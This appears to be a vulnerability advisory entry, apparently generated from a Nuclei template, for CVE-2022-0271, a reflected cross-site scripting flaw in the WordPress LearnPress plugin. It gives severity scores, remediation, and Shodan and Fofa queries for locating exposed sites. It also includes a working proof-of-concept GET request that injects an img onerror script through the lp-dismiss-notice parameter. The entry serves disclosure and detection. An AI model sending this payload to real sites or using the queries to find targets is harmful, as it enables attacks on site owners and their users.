| Title | LearnPress <4.1.6 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04159 |
| CVE ID | CVE-2022-0271 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/learnpress |
| Fofa Query | body=/wp-content/plugins/learnpress |
| Tags | cve2022 cve wp wp-plugin wordpress learnpress wpscan xss thimpress vuln |
WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
GET /wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0271.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0271.pcap
N/AN/A